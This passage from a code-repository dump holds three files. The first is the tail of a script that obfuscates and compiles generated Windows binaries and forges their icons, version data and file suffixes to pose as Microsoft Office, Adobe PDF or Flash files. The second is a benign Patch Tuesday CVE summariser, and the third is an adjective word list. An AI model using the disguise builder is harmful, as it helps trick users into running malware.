Console") 372 | parser.add_argument("--win32", default=True, action="store_true", help="Generate a PE GUI (default)") 373 | parser.add_argument("--icons-path", default="./icons/", dest="ico", help="Specify path to icons/ directory") 374 | parser.add_argument("--no-compile", default=False, dest="no_compile", action="store_true", help="If set, only the C file will be generated.") 375 | 376 | args = parser.parse_args() 377 | 378 | if args.profile is not None and args.profile not in available_profiles: 379 | print("[-] Invalid profile") 380 | sys.exit(1) 381 | 382 | args.ico = os.path.realpath(args.ico) 383 | 384 | PROFILES = { 385 | # index : [Version, /path/to/ico, CompanyName, Description, Name, CopyrightName] 386 | "powerpoint": [args.ico+"/powerpoint.ico", "14,0,0,0", "Microsoft Corporation", "Microsoft PowerPoint presentation", "PowerPoint", "Microsoft PowerPoint", "powerpoint.exe", ".pptx"], 387 | "word": [args.ico+"/word.ico", "14,0,0,0", "Microsoft Corporation", "Microsoft Word document", "Word", "Microsoft Word", "word.exe", ".docx"], 388 | "excel": [args.ico+"/excel.ico", "14,0,0,0", "Microsoft Corporation", "Microsoft Excel document", "Excel", "Microsoft Excel", "excel.exe", ".xlsx"], 389 | "flash": [args.ico+"/flash.ico", "11,0,0,0", "Adobe Systems Incorporated", "Adobe Flash macro", "Flash", "Adobe Flash", "flash.swf", ".swf"], 390 | "pdf": [args.ico+"/pdf.ico", "13,0,0,0", "Adobe Systems Incorporated", "Embedded Adobe PDF document", "Adobe PDF Reader", "Adobe AcroRead", "AcroReader.exe", ".pdf"], 391 | } 392 | 393 | if not args.quiet: 394 | print ("[+] Getting random offset") 395 | 396 | key = random.randint(0,255) 397 | fd, cname = tempfile.mkstemp(suffix=".c") 398 | 399 | if args.no_compile and "capstone" in sys.modules: 400 | show_disass = True 401 | else: 402 | show_disass = False 403 | 404 | if args.exe: 405 | generate_code_file(fd, key, "exe", show_disass=show_disass) 406 | elif args.dll: 407 | generate_code_file(fd, key, "dll", show_disass=show_disass) 408 | else: 409 | generate_code_file(fd, key, "win32", show_disass=show_disass) 410 | 411 | if not args.quiet: 412 | print ("[+] Generating code in '{}'".format(cname)) 413 | 414 | if args.no_compile: 415 | if args.quiet: 416 | print("{}".format(cname)) 417 | sys.exit(0) 418 | 419 | if not args.quiet: 420 | print ("[+] Obfuscating '{}'".format(cname)) 421 | 422 | obfuscate(cname) 423 | 424 | if args.profile is not None and not args.dll: 425 | if not args.quiet: 426 | print("[+] Using profile %s" % args.profile.title()) 427 | resfile = create_resource_file( args.profile ) 428 | res_o = "/tmp/res.o" 429 | cmd = "i686-w64-mingw32-windres {} -O coff -o {}".format(resfile, res_o) 430 | 431 | if not args.quiet: 432 | print("[+] Generating resources '{}'->'{}'".format(resfile, res_o)) 433 | ret = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT,) 434 | os.unlink(resfile) 435 | else: 436 | if not args.quiet: 437 | print("[+] Profile ignored") 438 | 439 | 440 | suffix = PROFILES[ args.profile ][7] if args.profile is not None else "" 441 | 442 | if args.output is None: 443 | if args.dll: 444 | f, ename = tempfile.mkstemp(suffix=suffix + ".dll") 445 | else: 446 | f, ename = tempfile.mkstemp(suffix=suffix + ".exe") 447 | os.close(f) 448 | else: 449 | ename = args.output 450 | 451 | if args.dll: 452 | cmd = "i686-w64-mingw32-gcc {0} -shared -o {1} -Wl,--out-implib,{1}.a".format(cname, ename) 453 | elif args.exe: 454 | cmd = "i686-w64-mingw32-gcc {} {} -o {}".format(cname, res_o, ename) 455 | else: 456 | cmd = "i686-w64-mingw32-gcc -D_UNICODE -DUNICODE -DWIN32 -D_WINDOWS -mwindows {} {} -o {}".format(cname, res_o, ename) 457 | 458 | if not args.quiet: 459 | print("[+] Compiling '{}'->'{}'".format(cname, ename)) 460 | 461 | ret = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT,) 462 | 463 | if not args.quiet: 464 | print("[+] Generation completed '{}', removing resources...".format(ename)) 465 | 466 | if args.profile is not None: 467 | os.unlink(res_o) 468 | if not args.dll: 469 | os.unlink("/tmp/Application.manifest") 470 | 471 | os.unlink(cname) 472 | if args.dll: 473 | os.unlink(ename + ".a") 474 | 475 | if not args.quiet: 476 | print("[+] Success") 477 | 478 | if args.quiet: 479 | print("{}".format(ename)) 480 | 481 | sys.stdout.flush() 482 | sys.stderr.flush() 483 | sys.exit(0) 484 | -------------------------------------------------------------------------------- /patch_tuesday.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import datetime 3 | import logging 4 | import os 5 | import pathlib 6 | import tempfile 7 | from typing import List, Union 8 | 9 | import bs4 10 | import requests 11 | from rich.console import Console 12 | from rich.logging import RichHandler 13 | from rich.table import Table 14 | from rich.tree import Tree 15 | 16 | API_URL: str = "https://api.msrc.microsoft.com/cvrf/v2.0/document" 17 | DEFAULT_PRODUCT: str = "Windows 11 Version 22H2 for x64-based Systems" 18 | # DEFAULT_PRODUCT : str = "Windows 10 Version 21H2 for 32-bit Systems" 19 | # DEFAULT_PRODUCT : str = "Windows 10 Version 21H2 for ARM64-based Systems" 20 | # DEFAULT_PRODUCT : str = "Windows 10 Version 1909 for x64-based Systems" 21 | # DEFAULT_PRODUCT : str = "Windows 10 Version 1809 for x64-based Systems" 22 | KB_SEARCH_URL: str = "https://catalog.update.microsoft.com/v7/site/Search.aspx" 23 | DEFAULT_UA: str = ( 24 | """Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36""" 25 | ) 26 | CVE_URL: str = "https://msrc.microsoft.com/update-guide/vulnerability" 27 | 28 | log = logging.getLogger(__name__) 29 | 30 | 31 | def get_root(node: bs4.Tag) -> bs4.Tag: 32 | curnode = node 33 | valid_parent = None 34 | while curnode != None: 35 | valid_parent = curnode 36 | curnode = curnode.parent 37 | assert valid_parent 38 | return valid_parent 39 | 40 | 41 | class Product: 42 | def __init__(self, node: bs4.Tag): 43 | self.node = node 44 | self.root = get_root(node) 45 | assert isinstance(self.root, bs4.Tag) 46 | __id = self.node["ProductID"] 47 | assert isinstance(__id, str) 48 | self.id: str = __id 49 | self.name: str = self.node.text.strip() 50 | parent = self.node.parent 51 | assert parent 52 | self.family = parent.get("Name", "") or "" 53 | return 54 | 55 | def __str__(self): 56 | return f"{self.name}" 57 | 58 | def __format__(self, format_spec) -> str: 59 | match format_spec[-1]: 60 | case "s": 61 | return format(str(self), format_spec) 62 | case "i": 63 | return format(self.id, format_spec) 64 | case "v": 65 | return format(self.vulnerabilities, format_spec) 66 | return "" 67 | 68 | @property 69 | def vulnerabilities(self) -> set["Vulnerability"]: 70 | res = set() 71 | vulns = self.root.find_all("vuln:Vulnerability") 72 | if not vulns: 73 | return res 74 | for vuln in vulns: 75 | if not Vulnerability.is_impacted(self, vuln): 76 | continue 77 | res.add(Vulnerability(self, vuln)) 78 | 79 | return res 80 | 81 | 82 | class Vulnerability: 83 | vuln_node: bs4.Tag 84 | product: Product 85 | cve: str 86 | title: str 87 | severity: str 88 | impact: str 89 | description: str 90 | itw: bool 91 | kb: str 92 | superseeded_kb: str 93 | characteristics: dict[str, str] 94 | 95 | def __init__(self, product: Product, node: bs4.BeautifulSoup): 96 | assert isinstance(product, Product) 97 | 98 | self.product = product 99 | self.vuln_node = node 100 | cve = self.vuln_node.find("vuln:CVE") 101 | assert cve 102 | self.cve = cve.text.strip() 103 | title = self.vuln_node.find("vuln:Title") 104 | assert title 105 | self.title = title.text.strip() 106 | self.characteristics = {} 107 | self.severity = self.__get_severity() 108 | self.impact = self.__get_impact() 109 | desc = node.find("vuln:Note", Title="Description", Type="Description") 110 | assert desc 111 | self.description = desc.text.strip() 112 | self.kb = self.__get_remediation_info("Description") 113 | self.superseeded_kb = self.__get_remediation_info("Supercedence") 114 | threats = self.vuln_node.find("vuln:Threat", Type="Exploit Status") 115 | assert threats 116 | self.itw = "Exploited:Yes" in threats.text.strip() 117 | 118 | @staticmethod 119 | def is_impacted(product: Product, node: bs4.BeautifulSoup) -> bool: 120 | pid = product.id 121 | return any( 122 | filter( 123 | lambda x: x.find("vuln:ProductID").text.strip() == pid, 124 | node.find_all("vuln:Threat", Type="Impact"), 125 | ) 126 | ) 127 | 128 | def url(self) -> str: 129 | return f"{KB_SEARCH_URL}?q={self.kb}" 130 | 131 | def __get_impact_or_severity(self, node, what: str) -> str: 132 | threats = self.vuln_node.find("vuln:Threats") 133 | if threats and isinstance(threats, bs4.Tag): 134 | for threat in threats.find_all("vuln:Threat", Type=what): 135 | _product_id = threat.find("vuln:ProductID").text.strip() 136 | if self.product.id == _product_id: 137 | return threat.find("vuln:Description").text.strip() 138 | return f"" 139 | 140 | def __get_impact(self) -> str: 141 | if not "Impact" in self.characteristics: 142 | self.characteristics["Impact"] = self.__get_impact_or_severity( 143 | self.vuln_node, "Impact" 144 | ) 145 | return self.characteristics["Impact"] 146 | 147 | def __get_severity(self) -> str: 148 | if not "Severity" in self.characteristics: 149 | self.characteristics["Severity"] = self.__get_impact_or_severity( 150 | self.vuln_node, "Severity" 151 | ) 152 | return self.characteristics["Severity"] 153 | 154 | def __get_remediation_info(self, what: str) -> str: 155 | if not what in self.characteristics: 156 | self.characteristics[what] = "" 157 | for r in self.vuln_node.find_all("vuln:Remediation", Type="Vendor Fix"): 158 | nod = r.find(f"vuln:{what}") 159 | val = nod.text if nod else "" 160 | if not val: 161 | continue 162 | self.characteristics[what] = val 163 | break 164 | return self.characteristics[what] 165 | 166 | def __str__(self): 167 | return f"{self.cve} // KB{self.kb} // {self.title} // {self.severity} // {self.impact}" 168 | 169 | def __format__(self, format_spec) -> str: 170 | match format_spec: 171 | case "s": 172 | return format(str(self), format_spec) 173 | case "c": 174 | return format(self.cve, format_spec) 175 | return "" 176 | 177 | @staticmethod 178 | def find( 179 | soup: bs4.BeautifulSoup, cve_or_kb: Union[str, int] 180 | ) -> List["Vulnerability"]: 181 | """Search a vuln""" 182 | if isinstance(cve_or_kb, str): 183 | if cve_or_kb.lower().startswith("cve-"): 184 | return Vulnerability.get_vuln_info_by_cve(soup, cve_or_kb) 185 | if cve_or_kb.lower().startswith("kb"): 186 | kb: int = int(cve_or_kb[2:]) 187 | return Vulnerability.get_vuln_info_by_kb(soup, kb) 188 | if isinstance(cve_or_kb, int): 189 | return Vulnerability.get_vuln_info_by_kb(soup, cve_or_kb) 190 | raise ValueError 191 | 192 | @staticmethod 193 | def get_vuln_info_by_cve( 194 | soup: bs4.BeautifulSoup, cve: str 195 | ) -> List["Vulnerability"]: 196 | """Search a vuln""" 197 | vulnerabilities: list[Vulnerability] = [] 198 | for vuln in soup.find_all("vuln:Vulnerability"): 199 | cve_node = vuln.find("vuln:CVE") 200 | if not cve_node or not cve_node.text: 201 | continue 202 | if cve_node.text.lower() == cve.lower(): 203 | for product_id in cve_node.find("vuln:ProductID"): 204 | vulnerabilities.append(Vulnerability(product_id, vuln)) 205 | return vulnerabilities 206 | 207 | @staticmethod 208 | def get_vuln_info_by_kb(soup: bs4.BeautifulSoup, kb: int) -> list["Vulnerability"]: 209 | """Search a vuln""" 210 | vulnerabilities: list[Vulnerability] = [] 211 | for vuln in soup.find_all("vuln:Vulnerability"): 212 | cve_nodes = vuln.find_all("vuln:Remediation") 213 | if not cve_nodes: 214 | continue 215 | for cve_node in cve_nodes: 216 | kb_node = cve_node.find("vuln:Description") 217 | if not kb_node or not kb_node.text: 218 | continue 219 | if kb_node.text.isdigit() and kb == int(kb_node.text): 220 | for product_id in cve_node.find("vuln:ProductID"): 221 | vulnerabilities.append(Vulnerability(product_id, vuln)) 222 | return vulnerabilities 223 | 224 | 225 | def collect_products(root: bs4.BeautifulSoup) -> dict[str, Product]: 226 | node = root.find("prod:ProductTree") 227 | assert isinstance(node, bs4.Tag) 228 | return { 229 | product.text.strip(): Product(product) 230 | for product in node.find_all("prod:FullProductName") 231 | } 232 | 233 | 234 | def get_patch_tuesday_data_soup(month: datetime.date) -> bs4.BeautifulSoup: 235 | fname = f"patch-tuesday-{month.strftime('%Y-%b')}.xml" 236 | fpath = pathlib.Path(tempfile.gettempdir()) / fname 237 | if not fpath.exists(): 238 | url = f"{API_URL}/{month.strftime('%Y-%b')}" 239 | log.debug(f"Caching XML data from '{url}'") 240 | h = requests.get(url, headers={"User-Agent": DEFAULT_UA}) 241 | if h.status_code != requests.codes.ok: 242 | raise RuntimeError(f"Unexpected code HTTP/{h.status_code}") 243 | fpath.write_text(h.text, encoding="utf-8") 244 | else: 245 | log.debug(f"Reading from cached file {fpath}") 246 | data = fpath.read_text(encoding="utf-8") 247 | return bs4.BeautifulSoup(data, features="xml") 248 | 249 | 250 | if __name__ == "__main__": 251 | logging.basicConfig( 252 | level="NOTSET", format="%(message)s", datefmt="[%X]", handlers=[RichHandler()] 253 | ) 254 | 255 | parser = argparse.ArgumentParser(description="Get the Patch Tuesday info") 256 | parser.add_argument( 257 | "-V", 258 | "--vulns", 259 | help="Specifiy the vuln(s) to detail (can be repeated)", 260 | default=[], 261 | action="append", 262 | type=str, 263 | ) 264 | parser.add_argument( 265 | "-p", 266 | "--products", 267 | help="Specifiy Product name(s) (can be repeated)", 268 | default=[], 269 | action="append", 270 | type=str, 271 | ) 272 | parser.add_argument( 273 | "-m", 274 | "--months", 275 | help="Repeatable arguemnt to specify the Patch Tuesday month(s), ex: 2021-Jun", 276 | default=[], 277 | action="append", 278 | type=lambda x: datetime.datetime.strptime(x, "%Y-%b"), 279 | metavar="YYYY-ABBREVMONTH", 280 | ) 281 | parser.add_argument( 282 | "-y", 283 | "--years", 284 | help="Specify a year - will be expended in months (can be repeated)", 285 | default=[], 286 | action="append", 287 | type=int, 288 | ) 289 | parser.add_argument( 290 | "--list-products", help="List all products", action="store_true" 291 | ) 292 | parser.add_argument("--brief", help="Display a summary", action="store_true") 293 | parser.add_argument("--debug", help="Set debug output", action="store_true") 294 | 295 | args = parser.parse_args() 296 | if args.debug: 297 | log.setLevel(logging.DEBUG) 298 | 299 | vulnerabilities: list[Vulnerability] = [] 300 | today = datetime.date.today() 301 | console = Console() 302 | 303 | if args.list_products: 304 | soup = get_patch_tuesday_data_soup(today) 305 | products = collect_products(soup) 306 | log.info( 307 | os.linesep.join( 308 | [f"- {name} (ID:{product.id})" for name, product in products.items()] 309 | ) 310 | ) 311 | exit(0) 312 | 313 | if not len(args.products): 314 | log.info(f"Using default product as '{DEFAULT_PRODUCT}'") 315 | args.products = (DEFAULT_PRODUCT,) 316 | 317 | if args.years: 318 | args.months.extend( 319 | [ 320 | args.months.append(datetime.date(year, month, 1)) 321 | for year in args.years 322 | for month in range(1, 13) 323 | ] 324 | ) 325 | 326 | if not len(args.months): 327 | log.debug(f"Using default month as '{today.strftime('%B %Y')}'") 328 | args.months = (today,) 329 | 330 | summary = not (args.brief or args.vulns) 331 | 332 | log.debug( 333 | f"Expanding KBs for {len(args.products)} products over {len(args.months)} months" 334 | ) 335 | 336 | for month in args.months: 337 | log.info(f"For {month.strftime('%B %Y')}") 338 | soup = get_patch_tuesday_data_soup(month) 339 | products = collect_products(soup) 340 | log.info(f"Discovered {len(products)} products") 341 | 342 | if args.brief: 343 | tree = Tree(month.strftime("%B %Y")) 344 | for product_name in args.products: 345 | product = products[product_name] 346 | vulns = product.vulnerabilities 347 | branch = tree.add(product_name) 348 | 349 | subbranch = branch.add("Severity") 350 | subbranch.add( 351 | f"{ len( list(filter(lambda x: x.severity == 'Critical', vulns)) ) } critical" 352 | ) 353 | subbranch.add( 354 | f"{ len( list(filter(lambda x: x.severity == 'Important', vulns)) ) } important" 355 | ) 356 | 357 | subbranch = branch.add("Impact") 358 | subbranch.add( 359 | f"{ len( list(filter(lambda x: x.impact == 'Remote Code Execution', vulns)) ) } RCE" 360 | ) 361 | subbranch.add( 362 | f"{ len( list(filter(lambda x: x.impact == 'Elevation of Privilege', vulns)) ) } EoP" 363 | ) 364 | subbranch.add( 365 | f"{ len( list(filter(lambda x: x.impact == 'Information Disclosure', vulns)) ) } EoP" 366 | ) 367 | console.print(tree) 368 | continue 369 | 370 | if args.vulns: 371 | for product_name in args.products: 372 | product = products[product_name] 373 | vulns = product.vulnerabilities 374 | for vuln in vulns: 375 | print(f"- Title: {vuln.title}") 376 | print(f"- Description: {vuln.description}") 377 | print(f"- Impact: {vuln.impact}") 378 | print(f"- Severity: {vuln.severity}") 379 | print(f"- KB: {vuln.kb}") 380 | print(f"- CVE: {vuln.cve}") 381 | print(f"- Link: {CVE_URL}/{vuln.cve}") 382 | print(f"{'':-^95}") 383 | continue 384 | 385 | if summary: 386 | for product_name in args.products: 387 | product = products[product_name] 388 | vulns = product.vulnerabilities 389 | 390 | table = Table( 391 | title=f"Summary: {len(vulns)} vuln(s) affecting {product_name} on {month.strftime('%B %Y')}" 392 | ) 393 | table.add_column("CVE") 394 | table.add_column("Title") 395 | table.add_column("Impact") 396 | table.add_column("Severity") 397 | table.add_column("KB") 398 | 399 | max_title_length = 50 400 | for vuln in vulns: 401 | title = ( 402 | vuln.title 403 | if len(vuln.title) < max_title_length 404 | else f"{vuln.title[:max_title_length]}..." 405 | ) 406 | table.add_row( 407 | vuln.cve, 408 | title, 409 | vuln.impact, 410 | vuln.severity, 411 | vuln.kb, 412 | ) 413 | 414 | console.print(table) 415 | -------------------------------------------------------------------------------- /random-word/english-adjectives.txt: -------------------------------------------------------------------------------- 1 | abandoned 2 | able 3 | absolute 4 | adorable 5 | adventurous 6 | academic 7 | acceptable 8 | acclaimed 9 | accomplished 10 | accurate 11 | aching 12 | acidic 13 | acrobatic 14 | active 15 | actual 16 | adept 17 | admirable 18 | admired 19 | adolescent 20 | adorable 21 | adored 22 | advanced 23 | afraid 24 | affectionate 25 | aged 26 | aggravating 27 | aggressive 28 | agile 29 | agitated 30 | agonizing 31 | agreeable 32 | ajar 33 | alarmed 34 | alarming 35 | alert 36 | alienated 37 | alive 38 | all 39 | altruistic 40 | amazing 41 | ambitious 42 | ample 43 | amused 44 | amusing 45 | anchored 46 | ancient 47 | angelic 48 | angry 49 | anguished 50 | animated 51 | annual 52 | another 53 | antique 54 | anxious 55 | any 56 | apprehensive 57 | appropriate 58 | apt 59 | arctic 60 | arid 61 | aromatic 62 | artistic 63 | ashamed 64 | assured 65 | astonishing 66 | athletic 67 | attached 68 | attentive 69 | attractive 70 | austere 71 | authentic 72 | authorized 73 | automatic 74 | avaricious 75 | average 76 | aware 77 | awesome 78 | awful 79 | awkward 80 | babyish 81 | bad 82 | back 83 | baggy 84 | bare 85 | barren 86 | basic 87 | beautiful 88 | belated 89 | beloved 90 | beneficial 91 | better 92 | best 93 | bewitched 94 | big 95 | big-hearted 96 | biodegradable 97 | bite-sized 98 | bitter 99 | black 100 | black-and-white 101 | bland 102 | blank 103 | blaring 104 | bleak 105 | blind 106 | blissful 107 | blond 108 | blue 109 | blushing 110 | bogus 111 | boiling 112 | bold 113 | bony 114 | boring 115 | bossy 116 | both 117 | bouncy 118 | bountiful 119 | bowed 120 | brave 121 | breakable 122 | brief 123 | bright 124 | brilliant 125 | brisk 126 | broken 127 | bronze 128 | brown 129 | bruised 130 | bubbly 131 | bulky 132 | bumpy 133 | buoyant 134 | burdensome 135 | burly 136 | bustling 137 | busy 138 | buttery 139 | buzzing 140 | calculating 141 | calm 142 | candid 143 | canine 144 | capital 145 | carefree 146 | careful 147 | careless 148 | caring 149 | cautious 150 | cavernous 151 | celebrated 152 | charming 153 | cheap 154 | cheerful 155 | cheery 156 | chief 157 | chilly 158 | chubby 159 | circular 160 | classic 161 | clean 162 | clear 163 | clear-cut 164 | clever 165 | close 166 | closed 167 | cloudy 168 | clueless 169 | clumsy 170 | cluttered 171 | coarse 172 | cold 173 | colorful 174 | colorless 175 | colossal 176 | comfortable 177 | common 178 | compassionate 179 | competent 180 | complete 181 | complex 182 | complicated 183 | composed 184 | concerned 185 | concrete 186 | confused 187 | conscious 188 | considerate 189 | constant 190 | content 191 | conventional 192 | cooked 193 | cool 194 | cooperative 195 | coordinated 196 | corny 197 | corrupt 198 | costly 199 | courageous 200 | courteous 201 | crafty 202 | crazy 203 | creamy 204 | creative 205 | creepy 206 | criminal 207 | crisp 208 | critical 209 | crooked 210 | crowded 211 | cruel 212 | crushing 213 | cuddly 214 | cultivated 215 | cultured 216 | cumbersome 217 | curly 218 | curvy 219 | cute 220 | cylindrical 221 | damaged 222 | damp 223 | dangerous 224 | dapper 225 | daring 226 | darling 227 | dark 228 | dazzling 229 | dead 230 | deadly 231 | deafening 232 | dear 233 | dearest 234 | decent 235 | decimal 236 | decisive 237 | deep 238 | defenseless 239 | defensive 240 | defiant 241 | deficient 242 | definite 243 | definitive 244 | delayed 245 | delectable 246 | delicious 247 | delightful 248 | delirious 249 | demanding 250 | dense 251 | dental 252 | dependable 253 | dependent 254 | descriptive 255 | deserted 256 | detailed 257 | determined 258 | devoted 259 | different 260 | difficult 261 | digital 262 | diligent 263 | dim 264 | dimpled 265 | dimwitted 266 | direct 267 | disastrous 268 | discrete 269 | disfigured 270 | disgusting 271 | disloyal 272 | dismal 273 | distant 274 | downright 275 | dreary 276 | dirty 277 | disguised 278 | dishonest 279 | dismal 280 | distant 281 | distinct 282 | distorted 283 | dizzy 284 | dopey 285 | doting 286 | double 287 | downright 288 | drab 289 | drafty 290 | dramatic 291 | dreary 292 | droopy 293 | dry 294 | dual 295 | dull 296 | dutiful 297 | each 298 | eager 299 | earnest 300 | early 301 | easy 302 | easy-going 303 | ecstatic 304 | edible 305 | educated 306 | elaborate 307 | elastic 308 | elated 309 | elderly 310 | electric 311 | elegant 312 | elementary 313 | elliptical 314 | embarrassed 315 | embellished 316 | eminent 317 | emotional 318 | empty 319 | enchanted 320 | enchanting 321 | energetic 322 | enlightened 323 | enormous 324 | enraged 325 | entire 326 | envious 327 | equal 328 | equatorial 329 | essential 330 | esteemed 331 | ethical 332 | euphoric 333 | even 334 | evergreen 335 | everlasting 336 | every 337 | evil 338 | exalted 339 | excellent 340 | exemplary 341 | exhausted 342 | excitable 343 | excited 344 | exciting 345 | exotic 346 | expensive 347 | experienced 348 | expert 349 | extraneous 350 | extroverted 351 | extra-large 352 | extra-small 353 | fabulous 354 | failing 355 | faint 356 | fair 357 | faithful 358 | fake 359 | false 360 | familiar 361 | famous 362 | fancy 363 | fantastic 364 | far 365 | faraway 366 | far-flung 367 | far-off 368 | fast 369 | fat 370 | fatal 371 | fatherly 372 | favorable 373 | favorite 374 | fearful 375 | fearless 376 | feisty 377 | feline 378 | female 379 | feminine 380 | few 381 | fickle 382 | filthy 383 | fine 384 | finished 385 | firm 386 | first 387 | firsthand 388 | fitting 389 | fixed 390 | flaky 391 | flamboyant 392 | flashy 393 | flat 394 | flawed 395 | flawless 396 | flickering 397 | flimsy 398 | flippant 399 | flowery 400 | fluffy 401 | fluid 402 | flustered 403 | focused 404 | fond 405 | foolhardy 406 | foolish 407 | forceful 408 | forked 409 | formal 410 | forsaken 411 | forthright 412 | fortunate 413 | fragrant 414 | frail 415 | frank 416 | frayed 417 | free 418 | French 419 | fresh 420 | frequent 421 | friendly 422 | frightened 423 | frightening 424 | frigid 425 | frilly 426 | frizzy 427 | frivolous 428 | front 429 | frosty 430 | frozen 431 | frugal 432 | fruitful 433 | full 434 | fumbling 435 | functional 436 | funny 437 | fussy 438 | fuzzy 439 | gargantuan 440 | gaseous 441 | general 442 | generous 443 | gentle 444 | genuine 445 | giant 446 | giddy 447 | gigantic 448 | gifted 449 | giving 450 | glamorous 451 | glaring 452 | glass 453 | gleaming 454 | gleeful 455 | glistening 456 | glittering 457 | gloomy 458 | glorious 459 | glossy 460 | glum 461 | golden 462 | good 463 | good-natured 464 | gorgeous 465 | graceful 466 | gracious 467 | grand 468 | grandiose 469 | granular 470 | grateful 471 | grave 472 | gray 473 | great 474 | greedy 475 | green 476 | gregarious 477 | grim 478 | grimy 479 | gripping 480 | grizzled 481 | gross 482 | grotesque 483 | grouchy 484 | grounded 485 | growing 486 | growling 487 | grown 488 | grubby 489 | gruesome 490 | grumpy 491 | guilty 492 | gullible 493 | gummy 494 | hairy 495 | half 496 | handmade 497 | handsome 498 | handy 499 | happy 500 | happy-go-lucky 501 | hard 502 | hard-to-find 503 | harmful 504 | harmless 505 | harmonious 506 | harsh 507 | hasty 508 | hateful 509 | haunting 510 | healthy 511 | heartfelt 512 | hearty 513 | heavenly 514 | heavy 515 | hefty 516 | helpful 517 | helpless 518 | hidden 519 | hideous 520 | high 521 | high-level 522 | hilarious 523 | hoarse 524 | hollow 525 | homely 526 | honest 527 | honorable 528 | honored 529 | hopeful 530 | horrible 531 | hospitable 532 | hot 533 | huge 534 | humble 535 | humiliating 536 | humming 537 | humongous 538 | hungry 539 | hurtful 540 | husky 541 | icky 542 | icy 543 | ideal 544 | idealistic 545 | identical 546 | idle 547 | idiotic 548 | idolized 549 | ignorant 550 | ill 551 | illegal 552 | ill-fated 553 | ill-informed 554 | illiterate 555 | illustrious 556 | imaginary 557 | imaginative 558 | immaculate 559 | immaterial 560 | immediate 561 | immense 562 | impassioned 563 | impeccable 564 | impartial 565 | imperfect 566 | imperturbable 567 | impish 568 | impolite 569 | important 570 | impossible 571 | impractical 572 | impressionable 573 | impressive 574 | improbable 575 | impure 576 | inborn 577 | incomparable 578 | incompatible 579 | incomplete 580 | inconsequential 581 | incredible 582 | indelible 583 | inexperienced 584 | indolent 585 | infamous 586 | infantile 587 | infatuated 588 | inferior 589 | infinite 590 | informal 591 | innocent 592 | insecure 593 | insidious 594 | insignificant 595 | insistent 596 | instructive 597 | insubstantial 598 | intelligent 599 | intent 600 | intentional 601 | interesting 602 | internal 603 | international 604 | intrepid 605 | ironclad 606 | irresponsible 607 | irritating 608 | itchy 609 | jaded 610 | jagged 611 | jam-packed 612 | jaunty 613 | jealous 614 | jittery 615 | joint 616 | jolly 617 | jovial 618 | joyful 619 | joyous 620 | jubilant 621 | judicious 622 | juicy 623 | jumbo 624 | junior 625 | jumpy 626 | juvenile 627 | kaleidoscopic 628 | keen 629 | key 630 | kind 631 | kindhearted 632 | kindly 633 | klutzy 634 | knobby 635 | knotty 636 | knowledgeable 637 | knowing 638 | known 639 | kooky 640 | kosher 641 | lame 642 | lanky 643 | large 644 | last 645 | lasting 646 | late 647 | lavish 648 | lawful 649 | lazy 650 | leading 651 | lean 652 | leafy 653 | left 654 | legal 655 | legitimate 656 | light 657 | lighthearted 658 | likable 659 | likely 660 | limited 661 | limp 662 | limping 663 | linear 664 | lined 665 | liquid 666 | little 667 | live 668 | lively 669 | livid 670 | loathsome 671 | lone 672 | lonely 673 | long 674 | long-term 675 | loose 676 | lopsided 677 | lost 678 | loud 679 | lovable 680 | lovely 681 | loving 682 | low 683 | loyal 684 | lucky 685 | lumbering 686 | luminous 687 | lumpy 688 | lustrous 689 | luxurious 690 | mad 691 | made-up 692 | magnificent 693 | majestic 694 | major 695 | male 696 | mammoth 697 | married 698 | marvelous 699 | masculine 700 | massive 701 | mature 702 | meager 703 | mealy 704 | mean 705 | measly 706 | meaty 707 | medical 708 | mediocre 709 | medium 710 | meek 711 | mellow 712 | melodic 713 | memorable 714 | menacing 715 | merry 716 | messy 717 | metallic 718 | mild 719 | milky 720 | mindless 721 | miniature 722 | minor 723 | minty 724 | miserable 725 | miserly 726 | misguided 727 | misty 728 | mixed 729 | modern 730 | modest 731 | moist 732 | monstrous 733 | monthly 734 | monumental 735 | moral 736 | mortified 737 | motherly 738 | motionless 739 | mountainous 740 | muddy 741 | muffled 742 | multicolored 743 | mundane 744 | murky 745 | mushy 746 | musty 747 | muted 748 | mysterious 749 | naive 750 | narrow 751 | nasty 752 | natural 753 | naughty 754 | nautical 755 | near 756 | neat 757 | necessary 758 | needy 759 | negative 760 | neglected 761 | negligible 762 | neighboring 763 | nervous 764 | new 765 | next 766 | nice 767 | nifty 768 | nimble 769 | nippy 770 | nocturnal 771 | noisy 772 | nonstop 773 | normal 774 | notable 775 | noted 776 | noteworthy 777 | novel 778 | noxious 779 | numb 780 | nutritious 781 | nutty 782 | obedient 783 | obese 784 | oblong 785 | oily 786 | oblong 787 | obvious 788 | occasional 789 | odd 790 | oddball 791 | offbeat 792 | offensive 793 | official 794 | old 795 | old-fashioned 796 | only 797 | open 798 | optimal 799 | optimistic 800 | opulent 801 | orange 802 | orderly 803 | organic 804 | ornate 805 | ornery 806 | ordinary 807 | original 808 | other 809 | our 810 | outlying 811 | outgoing 812 | outlandish 813 | outrageous 814 | outstanding 815 | oval 816 | overcooked 817 | overdue 818 | overjoyed 819 | overlooked 820 | palatable 821 | pale 822 | paltry 823 | parallel 824 | parched 825 | partial 826 | passionate 827 | past 828 | pastel 829 | peaceful 830 | peppery 831 | perfect 832 | perfumed 833 | periodic 834 | perky 835 | personal 836 | pertinent 837 | pesky 838 | pessimistic 839 | petty 840 | phony 841 | physical 842 | piercing 843 | pink 844 | pitiful 845 | plain 846 | plaintive 847 | plastic 848 | playful 849 | pleasant 850 | pleased 851 | pleasing 852 | plump 853 | plush 854 | polished 855 | polite 856 | political 857 | pointed 858 | pointless 859 | poised 860 | poor 861 | popular 862 | portly 863 | posh 864 | positive 865 | possible 866 | potable 867 | powerful 868 | powerless 869 | practical 870 | precious 871 | present 872 | prestigious 873 | pretty 874 | precious 875 | previous 876 | pricey 877 | prickly 878 | primary 879 | prime 880 | pristine 881 | private 882 | prize 883 | probable 884 | productive 885 | profitable 886 | profuse 887 | proper 888 | proud 889 | prudent 890 | punctual 891 | pungent 892 | puny 893 | pure 894 | purple 895 | pushy 896 | putrid 897 | puzzled 898 | puzzling 899 | quaint 900 | qualified 901 | quarrelsome 902 | quarterly 903 | queasy 904 | querulous 905 | questionable 906 | quick 907 | quick-witted 908 | quiet 909 | quintessential 910 | quirky 911 | quixotic 912 | quizzical 913 | radiant 914 | ragged 915 | rapid 916 | 